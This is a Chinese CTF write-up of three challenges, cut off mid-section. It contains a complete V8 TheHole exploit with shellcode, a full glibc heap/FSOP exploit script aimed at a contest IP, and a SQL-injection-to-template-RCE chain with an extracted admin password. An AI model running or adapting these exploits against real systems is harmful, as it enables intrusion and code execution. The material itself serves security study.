'@ | docker run --rm -i su_box_debug

输出示例:

Debug script box. Enter JavaScript below.
Available helpers: log, addr, read64, read32, dump, write64, jgc
[*] Executing...
addr(o)=0x....

调试辅助函数一览

总体上给我们提供的能力如下:

  • log(x) —— 原题里就有,只是打印字符串或对象的 toString()
  • addr(obj) —— 返回一个 V8Value 对应的 native objectHandle,这就是”打印地址能力”。
  • read64(addr) —— 按 8 字节读任意地址内容,返回十六进制字符串。
  • read32(addr) —— 按 4 字节读任意地址内容,返回十六进制字符串。
  • dump(addr, size) —— 从任意地址开始 dump 一段内存,方便看对象头和字段布局。
  • write64(addr, value) —— 往任意地址写 8 字节,这是最危险、也是对 exploit 最有用的那个。
  • jgc() —— 手动触发一次 Java GC / finalization。

GDB 调试思路

然后再补一下 gdb 的调试的思路,下面可以简单的跟着调试一下:

  1. 创建一个 WebAssembly 实例。
  2. 创建 ArrayBuffer / DataView。
  3. 打印一些简单日志,比如 wasm 返回值。
let wasm_code = new Uint8Array([
    0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,
    128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,
    1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,
    114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,
    128,128,0,0,65,42,11
]);

let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let ab = new ArrayBuffer(0x1000);
let dv = new DataView(ab);
dv.setUint8(0, 0x41);

log("wasm instance ready");
log("arraybuffer ready");
log("wasm return=" + f());
EOF

接下来:

  • wasm_instanceArrayBufferDataView 的地址
  • 读若干固定偏移,比如 +0x80+0x28+0x30
  • dump 周围内存
let wasm_code = new Uint8Array([
    0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,
    128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,
    1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,
    114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,
    128,128,0,0,65,42,11
]);

function jsobj(x) {
    return BigInt(addr(x));
}

function hex(x) {
    return "0x" + (x & 0xffffffffffffffffn).toString(16);
}

let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let ab = new ArrayBuffer(0x1000);
let dv = new DataView(ab);

let wasm_base = jsobj(wasm_instance);
let ab_base = jsobj(ab);
let dv_base = jsobj(dv);

log("wasm=" + hex(wasm_base));
log("ab=" + hex(ab_base));
log("dv=" + hex(dv_base));

log("wasm+80=" + read64((wasm_base + 0x80n).toString(16)));
log("ab+28=" + read64((ab_base + 0x28n).toString(16)));
log("dv+30=" + read64((dv_base + 0x30n).toString(16)));

log(dump((wasm_base + 0x70n).toString(16), 0x30));
log(dump((ab_base + 0x20n).toString(16), 0x20));
log(dump((dv_base + 0x28n).toString(16), 0x20));
EOF

GDB 初始化脚本(.gdbinit):

  • 预先在几个 JNI 入口函数上打断点
  • catch syscall mmap / mprotect,观察可执行内存映射
  • 定义了 subox_ctx 命令,一次性看寄存器、栈、当前指令
set pagination off
set breakpoint pending on
set disassemble-next-line on
set print pretty on
set confirm off

handle SIGSEGV stop print nopass
handle SIGABRT stop print nopass

break JNI_OnLoad
break Java_com_eclipsesource_v8_V8__1executeScript
break Java_com_eclipsesource_v8_V8__1executeVoidScript
break Java_com_eclipsesource_v8_V8__1initNewV8ArrayBuffer__JI
break Java_com_eclipsesource_v8_V8__1createV8ArrayBufferBackingStore
break Java_com_eclipsesource_v8_V8__1executeFunction__JJJJ

catch syscall mmap
catch syscall mprotect

define subox_ctx
  printf "\n== registers ==\n"
  info registers rax rbx rcx rdx rsi rdi rbp rsp rip
  printf "\n== stack ==\n"
  x/12gx $rsp
  printf "\n== code ==\n"
  x/10i $pc
end

document subox_ctx
Show the current native context that matters for this challenge.
Use this after stopping at a JNI entry, a syscall catchpoint, or a crash.
end

echo Loaded su_box gdb helpers.\n
echo Suggested commands:\n
echo   run < /app/poc_min.in\n
echo   bt\n
echo   info proc mappings\n
echo   subox_ctx\n

利用思路

这个题目的思路如下:

用户可控 JS → 老版本 V8 → 想办法从 JS 打到 native

确认 V8 版本

把 jar 解出来以后,对 libj2v8-linux-x86_64.so 跑一遍字符串,大致能确认这是 V8 9.3.345.11,对应 Chrome 93 这一代。

strings libj2v8-linux-x86_64.so | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|PtrComprCageBase|FLAG_wasm'
V8 9.3.345.11

选择漏洞方向

这时候思路就比较清晰了,去看这一代 V8 上已经公开过哪些能接得上的链。

最后参考的是 CVE-2021-38003 这条方向。这里想强调一下,参考的是思路,不是把公开 PoC 原样抄过来。因为很多资料默认环境都是 d8,但这题给的是 j2v8,两边虽然都叫 V8,实际外壳和稳定性差不少。

很多相关资料默认环境都是 d8,但这题给的是 j2v8。看起来同样是 V8,这里我们的调试手段受到了很大的限制,所幸 AI 的调试能力还是比较强的,尤其远程的调试,太强啦!!!

一开始也试过更”标准”的 addrof / fakeobj / 大范围 OOB 路线,但远程不稳定,最后没有直接沿那条链走到底。

Step 1:构造 TheHole

具体思路的话就是先做 TheHole,这一步基本就是整个利用的起点:

function makeHole() {
    let a = [];
    let b = [];
    let spray = '"'.repeat(0x800000);

    a[20000] = spray;
    for (let i = 0; i < 10; i++) {
        a[i] = spray;
        b[i] = a;
    }

    try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }

    throw new Error("failed to create TheHole token");
}

这里的 JSON.stringify(...) 能把一个特殊异常对象带出来,这个对象在后面的 Map 操作里能触发异常状态。真正要的是这个状态带来的结构破坏,而不是这个 token 本身。

Step 2:污染数组头

接下来是把 Map 状态打坏,用它去污染数组头:

function corruptArrayLength(key, len, hole) {
    let map = new Map();
    map.set(1, 1);
    map.set(hole, 1);
    map.delete(hole);
    map.delete(hole);
    map.delete(1);

    let pad = new Array(2).fill(1.1);
    let victim = new Array(4).fill(2.2);
    map.set(0x1c, -1);
    map.set(key, len);
    return victim;
}

一开始以为它能直接给一个很大范围、很自由的 OOB 数组,但实际在远程上更像是一个”小窗口”。它很适合去摸某个目标对象附近的一小段槽位,但不太适合拿来假设整个堆布局都线性可算。

Step 3:读取 RWX 地址

最终稳定下来以后,先创建一个 WebAssembly.Instance,然后直接对它开窗口。wasm 天然有一块可执行页,适合放 shellcode。

相关代码如下:

let wasm = makeWasmExec();
let wasm_view = corruptArrayLength(wasm.instance, 0x20, makeHole());
let rwx = ftoi(wasm_view[14]);

这个 14 不是拍脑袋出来的,是本地调过对象布局以后,再去远程反复对照的结果。观察上也能对得上:这个值页对齐、每次连接会变化,而且形态很像真实映射出来的 RWX 地址。

Step 4:分步利用

后面没有再强行追求”一个数组既能 addrof 又能任意读写”的漂亮链,而是接受这个题在远程上更适合拆开做:

  1. 一个窗口读 wasm_instance,拿 RWX。
  2. 一个窗口把 OOB 扩成可用的地址工具。
  3. 一个窗口改 ArrayBuffer 的 backing store。
  4. 一个窗口改 DataView 的 data pointer。

再把这两个都指到刚拿到的 RWX 页上,事情就结束了。

大致就是:

let ctrl = new DataView(new ArrayBuffer(0x1000));
let base = tools.addrOf(oob) + 0x10n;
let buffer_index = Number(((tools.addrOf(ctrl.buffer) + 0x28n) - base) / 8n);
let view_index = Number(((tools.addrOf(ctrl) + 0x30n) - base) / 8n);

oob[buffer_index] = itof(rwx);
oob[view_index] = itof(rwx);

这里也解释一下:

  1. ArrayBuffer + 0x28 是 backing store。
  2. DataView + 0x30 是 data pointer。
  3. 只要这两个字段都被改到 RWX,setUint8 写进去的就是 shellcode。

关于稳定性

这题最折磨人的不是漏洞本身,而是远程环境很脆。

所以最后脚本里很多看起来有点死板的创建顺序,其实都是调出来的:先建 wasm_instance,立刻开窗口取 RWX,再建 ArrayBuffer / DataView,再分别开窗口去覆写。

本地运行

题目附件中给了运行环境,可以先这样起本地环境:

cd .\题目
docker compose up --build

然后在另一个终端里跑 solve.py

完整 Exploit 代码

const conv_buf = new ArrayBuffer(8);
const conv_f64 = new Float64Array(conv_buf);
const conv_i64 = new BigInt64Array(conv_buf);

function ftoi(x) {
    conv_f64[0] = x;
    return conv_i64[0];
}

function itof(x) {
    conv_i64[0] = x;
    return conv_f64[0];
}

function makeHole() {
    let a = [];
    let b = [];
    let spray = '"'.repeat(0x800000);

    a[20000] = spray;
    for (let i = 0; i < 10; i++) {
        a[i] = spray;
        b[i] = a;
    }

    try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }

    throw new Error("failed to create TheHole token");
}

function corruptArrayLength(key, len, hole) {
    let map = new Map();
    map.set(1, 1);
    map.set(hole, 1);
    map.delete(hole);
    map.delete(hole);
    map.delete(1);

    let pad = new Array(2).fill(1.1);
    let victim = new Array(4).fill(2.2);
    map.set(0x1c, -1);
    map.set(key, len);
    return victim;
}

function makeWasmExec() {
    let code = new Uint8Array([
        0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,
        128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,
        1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,
        114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,
        128,128,0,0,65,42,11
    ]);
    let mod = new WebAssembly.Module(code);
    let inst = new WebAssembly.Instance(mod);
    return {
        instance: inst,
        entry: inst.exports.main
    };
}

function makeOobArray() {
    let hole = makeHole();
    let map = new Map();
    map.set(1, 1);
    map.set(hole, 1);
    map.delete(hole);
    map.delete(hole);
    map.delete(1);

    let oob = new Array(1.1, 1.1);
    map.set(0x10, -1);
    map.set(oob, 0xffff);
    return oob;
}

function makeAddressToolkit(oob) {
    let float_array = new Array(1.1, 1.1);
    let object_array = new Array({}, {});
    let float_map = ftoi(oob[6]) & 0xffffffffn;
    let object_map = ftoi(oob[28]) & 0xffffffffn;
    let cage_base = ftoi(oob[0]) & 0xffffffff00000000n;

    function addrof(obj) {
        let old = object_array[0];
        object_array[0] = obj;
        oob[28] = itof((ftoi(oob[28]) & 0xffffffff00000000n) + float_map);
        let raw = ftoi(object_array[0]);
        oob[28] = itof((ftoi(oob[28]) & 0xffffffff00000000n) + object_map);
        object_array[0] = old;
        return raw & 0xffffffffn;
    }

    function untag(ptr) {
        return (ptr - 1n) & 0xffffffffn;
    }

    function addrOf(obj) {
        return cage_base + untag(addrof(obj));
    }

    return {
        addrof: addrof,
        untag: untag,
        addrOf: addrOf
    };
}

function buildFlagShellcode() {
    let out = [];

    function byte() {
        for (let i = 0; i < arguments.length; i++) {
            out.push(arguments[i] & 0xff);
        }
    }

    function qword(v) {
        for (let i = 0n; i < 8n; i++) {
            out.push(Number((v >> (8n * i)) & 0xffn));
        }
    }

    byte(0x31, 0xd2);
    byte(0x48, 0xbb);
    qword(0x00000067616c662fn);
    byte(0x53);
    byte(0x48, 0x89, 0xe7);
    byte(0x31, 0xf6);
    byte(0xb0, 0x02);
    byte(0x0f, 0x05);
    byte(0x48, 0x89, 0xc7);
    byte(0x48, 0x89, 0xe6);
    byte(0x66, 0xba, 0x00, 0x01);
    byte(0x31, 0xc0);
    byte(0x0f, 0x05);
    byte(0x89, 0xc2);
    byte(0x31, 0xff);
    byte(0xff, 0xc7);
    byte(0xb0, 0x01);
    byte(0x0f, 0x05);
    byte(0x31, 0xff);
    byte(0xb0, 0x3c);
    byte(0x0f, 0x05);

    return out;
}

function writeBytes(dv, bytes) {
    for (let i = 0; i < bytes.length; i++) {
        dv.setUint8(i, bytes[i]);
    }
}

function main() {
    let wasm = makeWasmExec();
    let wasm_view = corruptArrayLength(wasm.instance, 0x20, makeHole());
    let rwx = ftoi(wasm_view[14]);

    let oob = makeOobArray();
    let tools = makeAddressToolkit(oob);

    let ctrl = new DataView(new ArrayBuffer(0x1000));
    let base = tools.addrOf(oob) + 0x10n;
    let buffer_index = Number(((tools.addrOf(ctrl.buffer) + 0x28n) - base) / 8n);
    let view_index = Number(((tools.addrOf(ctrl) + 0x30n) - base) / 8n);

    oob[buffer_index] = itof(rwx);
    oob[view_index] = itof(rwx);

    writeBytes(ctrl, buildFlagShellcode());
    wasm.entry();
}

main();

SU-minivfs

这个出题的格式参考的2025年半决赛ciscn的一个题目

2.41好像还是没有很大的变化,那应该是2.42有了很大的变化,IO的利用流上

题目是SU_minivfs

这里为了学习效果,我们把剔除的符号都让ai给恢复了,使其贴合常规的阅读的习惯,这里通过调用mcp接口都不用写idapython恢复了。

这题一开始就可以把它当成一个“带鉴权的伪文件系统堆题”来看。
交互很直白,支持 touch / rm / cat / write / stat / ls 这些操作,天然对应着 malloc / free / read / write 这几类原语。

有个感悟,这个比赛里真正卡人的,不是最后那一下怎么劫持控制流,而是前面几个判断有没有尽快做对。比如这个鉴权到底是不是障碍,这条原语到底能不能稳定落地,远程回显出来的东西到底能不能信。

题目环境这里先记一下,后面会一直用到:

  1. glibc 是 2.41。
  2. 有 seccomp。
  3. 程序有正常的 quit 退出路径。

主函数中有这个

(*__ctype_b_loc())[*v7] & 0x2000

这里对这个的解释如下

sspace((unsigned char)*v7)

原因是:

  • __ctype_b_loc() 返回一个指向字符属性表的指针
  • (*__ctype_b_loc())[ch] 取出字符 ch 的分类标志位
  • & 0x2000 是在测“空白字符”这个标志
  • 所以这段代码是在跳过空格、\t、\n 之类

touch函数中有个

*__errno_location() = 0;

这里对这个的解释如下

  • __errno_location() 返回当前线程 errno 的地址
  • 前面加 * 就是在改这个地址里的值
  • 所以就是把线程局部的 errno 设成 0

这三个条件其实很早就决定了后面不太像那种随便泄漏一下然后 hook 一改就完了的题,需要按照流程一步步来。

先把 auth 逆出来

所有敏感操作都要带一个 auth,所以第一步不是找堆漏洞,而是先确认这个 auth 到底是不是障碍。

顺着处理逻辑看下来,程序会先对 path 做一次 FNV-1a 风格的哈希,再做几轮 mixer,最后拿这个值去和用户输入比较:

//__int64 __fastcall sub_15AB(_BYTE *a1)
unsigned int __fastcall fnv1a32(const unsigned __int8 *s)
{
  unsigned int v2; // [rsp+Ch] [rbp-Ch]

  v2 = -2128831035;
  while ( *s )
    v2 = 16777619 * (*s++ ^ v2);
  return v2;
}
//__int64 __fastcall sub_15F6(__int64 a1, int *a2)
int __fastcall vfs_path_to_slot(const unsigned __int8 *path, unsigned int *out_hash)
{
  unsigned int v2; // eax
  unsigned int v4; // [rsp+1Ch] [rbp-4h]
  unsigned int v5; // [rsp+1Ch] [rbp-4h]

  v2 = fnv1a32(path);
  v4 = -2073254261 * (((2146121005 * (HIWORD(v2) ^ v2)) >> 15) ^ (2146121005 * (HIWORD(v2) ^ v2)));
  v5 = HIWORD(v4) ^ v4;
  if ( out_hash )
    *out_hash = v5;
  return v5 & 0xF;
}

最后真正的校验只是:

//__int64 __fastcall sub_16AA(int a1)
unsigned int __fastcall make_auth_token(unsigned int hash)
{
  return hash ^ 0xA5A5A5A5;
}

也就是说:

auth(path) = mix_hash(path) ^ 0xA5A5A5A5

这一步确认以后,题目的“鉴权”基本就等于没有了。它不是权限机制,只是个可预测 token。

这里本地直接补了这样一段,后面所有命令都自动带上:

def path_hash(path):
    x = 0x811C9DC5
    for b in path.encode():
        x ^= b
        x = (x * 0x1000193) & 0xFFFFFFFF
    x ^= x >> 16
    x = (x * 0x7FEB352D) & 0xFFFFFFFF
    x ^= x >> 15
    x = (x * 0x846CA68B) & 0xFFFFFFFF
    x ^= x >> 16
    return x

def auth(path):
    return str((path_hash(path) ^ 0xA5A5A5A5) & 0xFFFFFFFF)

catwrite 很快就暴露出两个关键点

这题真正开始往堆利用上走,是因为 catwrite 都不太对劲。

先看 cat

//__int64 __fastcall sub_1A34(unsigned int n0x10, int a2)
int __fastcall vfs_cat_entry(unsigned int slot, int auth_hash)
{
  if ( slot >= 0x10 )
    return -1;
  if ( !g_vfs_entries[slot].used )
    return -2;
  if ( auth_hash != g_vfs_entries[slot].auth_hash )
    return -3;
  if ( g_vfs_entries[slot].cap )
    write(1, g_vfs_entries[slot].data, g_vfs_entries[slot].cap);
  putchar(10);
  return 0;
}

它直接按记录里的长度整块输出,所以很容易变成一个“把堆块原样吐出来”的接口。
这里最开始就是靠它去观察堆内容,后面 libc 和 heap 的泄漏也都是从这里稳定拿到的。

然后是 write。伪 C 看起来不明显,但结合汇编和实际效果去盯,会发现它有一个典型的坑:当写入大小正好等于 cap 的时候,后面那个补零动作会把结尾的 \0 写到 chunk 外面,也就是一个 off-by-null

int __fastcall vfs_write_entry(unsigned int slot, int auth_hash, const void *buf, size_t nbytes)
{
  uint64_t *p_mtime; // rax
  uint64_t mtime; // rdx

  if ( slot < 0x10 )
  {
    if ( g_vfs_entries[slot].used )
    {
      if ( auth_hash == g_vfs_entries[slot].auth_hash )
      {
        if ( nbytes <= g_vfs_entries[slot].cap )
        {
          memcpy(g_vfs_entries[slot].data, buf, nbytes);
          mtime = current_time_sec();
          p_mtime = &g_vfs_entries[0].mtime;
          g_vfs_entries[slot].mtime = mtime;
        }

效果如下

size == cap
-> 程序还会补一个 '\0'
-> 这个 '\0' 会越过用户区边界
-> 刚好可以去碰下一个 chunk header

这题看到这个点以后,思路就很明确了:不是去找别的 fancy 漏洞,而是围绕这个 off-by-null 做 chunk header 污染。

泄漏 libc / heap
-> off-by-null 改 chunk header
-> 做重叠与任意改
-> 打 FSOP
-> setcontext + ORW

堆布局其实分成两段

如果只看最后 exp,容易以为题目一上来就是 /aj /ap /ar /ak 那套布局。其实不是,这题是先做一段泄漏阶段,再做真正的利用阶段。

泄漏阶段大概是:

/aa /ab /ac /ad /ae

这一段的目的很单纯,就是先把 libc 和 heap 基本定位出来,把后面 fake FILE 要落在哪搞清楚。

真正进入利用的时候,最后用的是这几块:

/aj  0x4f8
/ap  0x4f8
/ar  0x4d8
/ak  0x428

想法很朴素:

  1. /aj/ap 都是 0x4f8,方便把 chunk 大小卡到 0x500 这一档。
  2. /aj 写满以后,那个 off-by-null 正好能碰到 /ap 的 header。
  3. /ar/ak 后面拿来放 fake FILE 以及对应的 _wide_data、ROP 栈。

核心伪造部分本质上就是 House of Einherjar 那套意思:

  1. /aj 用户区里先摆一个 fake chunk。
  2. 再用 off-by-null 去清 /apPREV_INUSE
  3. 这样一来 free("/ap") 的时候,glibc 就会尝试往回合并,把用户区里的伪造结构卷进来。

做到重叠以后,就相当于有了uaf,之后就能打largebinattack,最后比较稳的还是 FSOP。

所以最后把目标放在 _IO_list_all 上。
一旦能把 _IO_list_all 改成伪造的 FILE 链,退出时就会自动走到布好的结构。

这里最终的分工如下

  1. /ar 放 fake FILE 主体。
  2. /ak 放 fake _wide_data、fake wide vtable、路径字符串和 ROP 区。
  3. setcontext 做栈迁移,最后进 ORW。

核心构造代码大概是这样:

def build_j(base, j_user, path, mode):
    path_addr = j_user + 0x100
    rop_addr = j_user + 0x180
    buf_addr = j_user + 0x2C0
    wide_vtable = j_user + 0x360
    lock = j_user + 0x3F0
    blob = bytearray(b"\x00" * 0x420)

    def q(off, val):
        blob[off:off + 8] = p64(val)

    q(0x00, base + OFF["pop_rsp_ret"])
    q(0x08, rop_addr)
    q(0x20, 1)
    q(0xE0, wide_vtable)
    q(0x3C8, base + OFF["setcontext"])
    blob[0x100:0x100 + len(path)] = path
    return bytes(blob), lock
def build_h(base, j_user, lock, h_user):
    blob = bytearray(b"\x00" * 0x1C8)

    def q(off, val):
        blob[off - 0x10:off - 0x08] = p64(val)

    def d(off, val):
        blob[off - 0x10:off - 0x0C] = p32(val)

    q(0x88, lock)
    q(0x90, 0xFFFFFFFFFFFFFFFF)
    q(0xA0, j_user)
    q(0xA8, base + OFF["ret"])
    q(0xD8, base + OFF["_IO_wfile_jumps"])
    q(0xE0, h_user + 0x260)
    d(0xC0, 1)
    d(0x1C0, 0x1F80)
    return bytes(blob)

build_h 负责把 FILE 主体伪造成一个足够像真的 _IO_wfile 对象。build_j 负责准备 fake _wide_data、真正的 ROP 栈、目标路径,还有最后让控制流落到 setcontext

把 ORW 打通以后,最开始读的是 ./flag,远程确实回了一个 flag,但看起来就很不对劲,明显像障眼法。
这时候如果死盯着“是不是偏移算错了”,其实会把自己带偏。

后面把 ORW 稍微改了一下,不再直接读文件,而是先列目录:

open(dir, 0)
getdents64(fd, buf, 0x200)
write(1, buf, nread)

最后就是靠这个思路把真正的 flag 文件定位出来的。这个地方比“最后读到了什么”更重要,因为它把“利用链成功”和“目标路径找对了”这两件事拆开验证了。

最终exp如下

#!/usr/bin/env python3
from pwn import *
import struct
import sys

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
# context.terminal = ["tmux", "splitw", "-h"]


def uu64(x):
    return u64(x.ljust(8, b"\x00"))


def path_hash(path):
    x = 0x811C9DC5
    for b in path.encode():
        x ^= b
        x = (x * 0x1000193) & 0xFFFFFFFF
    x ^= x >> 16
    x = (x * 0x7FEB352D) & 0xFFFFFFFF
    x ^= x >> 15
    x = (x * 0x846CA68B) & 0xFFFFFFFF
    x ^= x >> 16
    return x


def auth(path):
    return str((path_hash(path) ^ 0xA5A5A5A5) & 0xFFFFFFFF)


def rop_read(base, path_addr, buf_addr):
    return [
        base + 0x028882,  # ret
        base + 0x119E9C, path_addr,  # pop rdi ; ret
        base + 0x11B07D, 0,  # pop rsi ; ret
        base + 0x0BBBFC, 0, 0, 0, 0, 0,  # pop rdx ; ret
        base + 0x1258C0,  # open
        base + 0x1AA936,  # xchg edi, eax ; ret
        base + 0x11B07D, buf_addr,  # pop rsi ; ret
        base + 0x0BBBFC, 0x100, 0, 0, 0, 0,  # pop rdx ; ret
        base + 0x125FD0,  # read
        base + 0x119E9C, 1,  # pop rdi ; ret
        base + 0x11B07D, buf_addr,  # pop rsi ; ret
        base + 0x0BBBFC, 0x100, 0, 0, 0, 0,  # pop rdx ; ret
        base + 0x126AB0,  # write
    ]


def rop_ls(base, path_addr, buf_addr):
    return [
        base + 0x028882,  # ret
        base + 0x119E9C, path_addr,  # pop rdi ; ret
        base + 0x11B07D, 0,  # pop rsi ; ret
        base + 0x0BBBFC, 0, 0, 0, 0, 0,  # pop rdx ; ret
        base + 0x1258C0,  # open
        base + 0x1AA936,  # xchg edi, eax ; ret
        base + 0x11B07D, buf_addr,  # pop rsi ; ret
        base + 0x0BBBFC, 0x200, 0, 0, 0, 0,  # pop rdx ; ret
        base + 0x0F52E0,  # getdents64
        base + 0x0C223D,  # xchg rdx, rax ; ret
        base + 0x119E9C, 1,  # pop rdi ; ret
        base + 0x11B07D, buf_addr,  # pop rsi ; ret
        base + 0x126AB0,  # write
    ]


def build_j(base, j_user, path, mode):
    path_addr = j_user + 0x100
    rop_addr = j_user + 0x180
    buf_addr = j_user + 0x2C0
    wide_vtable = j_user + 0x360
    lock = j_user + 0x3F0
    blob = bytearray(b"\x00" * 0x420)

    def q(idx, val):
        blob[idx:idx + 8] = p64(val)

    q(0x00, base + 0x03C8F8)  # pop rsp ; ret
    q(0x08, rop_addr)
    q(0x20, 1)
    q(0xE0, wide_vtable)
    q(0x3C8, base + 0x4BB20)  # setcontext
    blob[0x100:0x100 + len(path)] = path

    chain = rop_ls(base, path_addr, buf_addr) if mode == "ls" else rop_read(base, path_addr, buf_addr)
    for i, x in enumerate(chain):
        q(0x180 + i * 8, x)
    return bytes(blob), lock


def build_h(base, j_user, lock, h_user):
    blob = bytearray(b"\x00" * 0x1C8)

    def q(idx, val):
        blob[idx - 0x10:idx - 0x08] = p64(val)

    def d(idx, val):
        blob[idx - 0x10:idx - 0x0C] = p32(val)

    q(0x88, lock)
    q(0x90, 0xFFFFFFFFFFFFFFFF)
    q(0xA0, j_user)
    q(0xA8, base + 0x028882)  # ret
    q(0xD8, base + 0x20F1C8)  # _IO_wfile_jumps
    q(0xE0, h_user + 0x260)
    d(0xC0, 1)
    d(0x1C0, 0x1F80)
    return bytes(blob)


def dents(blob):
    out = []
    pos = 0
    while pos + 19 <= len(blob):
        reclen = struct.unpack_from("<H", blob, pos + 16)[0]
        if reclen < 20 or pos + reclen > len(blob):
            break
        ino = struct.unpack_from("<Q", blob, pos)[0]
        typ = blob[pos + 18]
        name = blob[pos + 19:pos + reclen].split(b"\x00", 1)[0]
        if name:
            out.append((ino, typ, name.decode("utf-8", "replace")))
        pos += reclen
    return out


def show(out, mode):
    if mode != "ls" or b"bye\n" not in out:
        sys.stdout.buffer.write(out)
        return

    head, raw = out.split(b"bye\n", 1)
    sys.stdout.buffer.write(head + b"bye\n\n")
    for ino, typ, name in dents(raw):
        print(f"{typ:02x} {ino:>6} {name}")


def main():
    local = 0
    debug = 0
    mode = "read"
    menu = b"vfs> "
    leak_off = 0x210F10

    if local:
        io = process("./pwn")
    else:
        io = remote("1.95.73.223", 10000)

    rt = lambda x: io.recvuntil(x)
    s = lambda x: io.send(x)
    sl = lambda x: io.sendline(x if isinstance(x, (bytes, bytearray)) else str(x).encode())

    def dbg(*addrs):
        if not local:
            return
        script = ""
        for addr in addrs:
            script += f"b *{addr}\n"
        gdb.attach(io, script)

    def cmd(line):
        sl(line)
        return rt(menu)

    def touch(path, size):
        return cmd(f"touch {path} {size} {auth(path)}")

    def rm(path):
        return cmd(f"rm {path} {auth(path)}")

    def cat(path):
        sl(f"cat {path} {auth(path)}")
        return rt(menu)[:-len(menu)]

    def write(path, data):
        sl(f"write {path} {len(data)} {auth(path)}")
        rt(b"> ")
        s(data)
        return rt(menu)

    if debug:
        dbg()

    path = target or (b".\x00" if mode == "ls" else b"./flag\x00")

    rt(menu)
    for name in ["/aa", "/ab", "/ac"]:
        touch(name, 0x428)
    rm("/ab")
    touch("/ad", 0x500)
    touch("/ae", 0x428)
        #debug()
    leak = cat("/ae")[:-1]
    vals = [uu64(leak[i:i + 8]) for i in range(0, 48, 8)]
    base = vals[0] - leak_off
    f0 = vals[2] - 0x430
    ad = f0 + 0xC90
    success("libc_base: " + hex(base))
    success("heap_base: " + hex(f0))

    touch("/aj", 0x4F8)
    touch("/ap", 0x4F8)
    touch("/ar", 0x4D8)
    touch("/ak", 0x428)

    j_blob, lock = build_j(base, ad + 0x510 + 0x500 + 0x500 + 0x4E0 + 0x10, path, mode)
    h_blob = build_h(base, ad + 0x510 + 0x500 + 0x500 + 0x4E0 + 0x10, lock, ad + 0x510 + 0x500 + 0x10)
    write("/ak", j_blob)
    write("/ar", h_blob)

    payload = p64(0) + p64(0x4F0) + p64(ad + 0x510 + 0x10) * 4
    payload = payload.ljust(0x4F0, b"F") + p64(0x4F0)
    write("/aj", payload)

    rm("/ap")
    touch("/ap", 0x4E8)
    touch("/bk", 0x4F8)
    rm("/ap")
    touch("/bg", 0x500)
    rm("/ar")

    meta = bytearray(cat("/aj")[:-1])
    meta[0x28:0x30] = p64(base + 0x2114C0 - 0x20)  # _IO_list_all - 0x20
    write("/aj", bytes(meta[:0x4F8]))
    touch("/ag", 0x500)
        #debug()
    sl(b"quit")
    out = io.recvall(timeout=2)
    show(out, mode)

if name == "main":
    main()

WEB

SU_cmsAgain

1. 题目概览

  • 目标站点: http://101.245.108.250:10015
  • 本地给了完整源码目录 src/
  • 最终利用链:
    • 购物车 SQL 注入
    • 盲注读出远端后台真实密码
    • 后台登录
    • 利用 Decoration/saveCode 写入模板执行标签 {~...}
    • 前台首页模板包含 Public:code
    • 远端执行 PHP 并读取根目录随机命名文件
    • 拿到 flag

最终 flag:

SUCTF{y0ud1an_c00l_LiHua}

2. 整体思路

这题最开始最容易注意到的是购物车链上的 SQL 注入,但这个 SQLi 本身并不是最终出 flag 的点。它更像一条“拿后台真实凭据”的前置链。

真正拿 flag 的利用链是:

  1. 用 SQLi 盲注读出后台管理员真实密码。
  2. 登录后台。
  3. 找到后台装修功能 Decoration/saveCode
  4. 利用模板引擎的 {~ ... } 执行标签绕过 saveCode() 的过滤。
  5. 把 payload 写进当前主题的 Public/code.html
  6. 前台默认首页在 footer.html 中会 <include file="Public:code" />,所以 payload 会进入模板编译流程。
  7. 直接在远端执行 PHP,枚举根目录文件并读取真正的 flag 文件。

3. 第一段链: 购物车 SQLi 拿后台真实密码

3.1 注入点原理

注入点在购物车价格计算逻辑里,关键代码在:

  • src/App/Lib/Common/YdCart.class.php:312
  • src/App/Lib/Common/YdCart.class.php:319

核心片段:

$InfoPrice = $m->where("InfoID=$InfoID")->getField('InfoPrice');
...
$result = $m->where("InfoID in($idlist)")->getField('InfoID,InfoPrice');

这里的 where() 直接拼接了外部可控的 InfoID / idlist

然后看框架层:

  • src/App/Core/Lib/Core/Db.class.php:470
if(is_string($where)) {
    $whereStr = $where;
}

也就是说,字符串形式的 where() 会原样进入 SQL。

再看 MySQL 驱动:

  • src/App/Core/Lib/Driver/Db/DbMysqli.class.php:109
  • src/App/Core/Lib/Driver/Db/DbMysqli.class.php:149
$this->queryID = $this->_linkID->query($str);
...
$result = $this->_linkID->query($str);

这里使用的是单条 query(),不是 multi_query()。所以这条 SQLi 更适合做布尔盲注和数据读取,不适合直接堆叠写文件语句。

3.2 为什么能盲注

前台接口 setQuantity 会返回购物车价格。只要构造的 SQL 条件为真,TotalItemPrice 就是正常价格;条件为假,价格就会异常或为 0。

因此可以把它当作布尔 oracle 来做盲注。

本地已经写好辅助脚本:

  • y_shopping_cart_sqli.py

例如可以这样读远端后台密码:

python y_shopping_cart_sqli.py dump "(select AdminPassword from youdian_admin where AdminID=1 limit 1)" --max-len 64

最终实测读到的后台真实密码是:

SUCTF@123!@#20260813

这一步非常关键,因为远端真实密码已经和本地源码包/旧备份里的默认值不同了。

4. 第二段链: 后台登录参数格式

